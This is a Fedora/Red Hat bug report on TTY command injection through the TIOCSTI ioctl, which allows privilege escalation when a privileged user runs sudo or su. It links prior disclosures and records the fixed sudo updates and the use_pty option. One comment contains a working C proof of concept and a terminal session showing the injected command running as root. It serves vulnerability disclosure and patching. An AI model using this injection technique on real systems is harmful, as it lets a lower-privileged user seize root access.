Bug 479145

Summary of the public information:

Francesco Ongaro presented on CCC Congress 2008 a way to inject commands to TTY buffer, that may lead to privilege escalation when higher privileged user runs untrusted command controlled by a lower privileged user via sudo:
  http://www.ush.it/2009/01/06/25c3-ccc-congress-2008-tricks-makes-you-smile/

The issue was previously described by Russell Coker in 2004:
  http://lists.virus.org/debian-security-0407/msg00160.html
  http://www.redhat.com/archives/fedora-devel-list/2004-July/msg01314.html
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=262454

and similar problem was fixed in coreutils' su command (fix included in RHEL5 and later):
  https://bugzilla.redhat.com/show_bug.cgi?id=173008

Upstream sudo bug report:
  http://www.sudo.ws/bugs/show_bug.cgi?id=142

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I'm going to open this bug, as it's doing us any good closed up.

This issue has been pointed out again (this time in su) here:

http://pastebin.com/Vk4VNB7u

root@quadstation # cat /root/cnuprivesc.c
#include <unistd.h>
#include <stdio.h>
#include <termios.h>
#include <sys/ioctl.h>

static void
fake_input(int fd, const char *msg)
{
        for (; *msg; ++msg)
                if (ioctl(fd, TIOCSTI, msg) != 0)
                        perror("ioctl");
}

int main(int argc, char **argv)
{
        fake_input(0, "echo $UID\n");
        return 0;
}
root@quadstation # su - redeeman

 * keychain 2.7.0 ~ http://www.funtoo.org
 * Found existing ssh-agent: 9642
 * Found existing gpg-agent: 9667
 * Known ssh key: /home/redeeman/.ssh/id_dsa

redeeman@quadstation # exec /cnuprivesc <-- this is the last thing i manually do
echo $UID
root@quadstation # echo $UID
0
root@quadstation #

sudo-1.7.4p4-1.fc12 has been submitted as an update for Fedora 12.
https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12

sudo-1.7.4p4-1.fc12 has been pushed to the Fedora 12 testing repository.  If problems still persist, please make note of it in this bug report.
 If you want to test the update, you can install it with 
 su -c 'yum --enablerepo=updates-testing update sudo'.  You can provide feedback for this update here: https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12

sudo-1.7.4p4-2.fc12 has been submitted as an update for Fedora 12.
https://admin.fedoraproject.org/updates/sudo-1.7.4p4-2.fc12

sudo-1.7.4p4-2.fc12 has been pushed to the Fedora 12 stable repository.  If problems still persist, please make note of it in this bug report.

Just for future reference...

sudo was extended to allow allocation of new pty for commands run with target user privileges.  Use of additional pty is controlled by use_pty option, which is currently not enabled by default.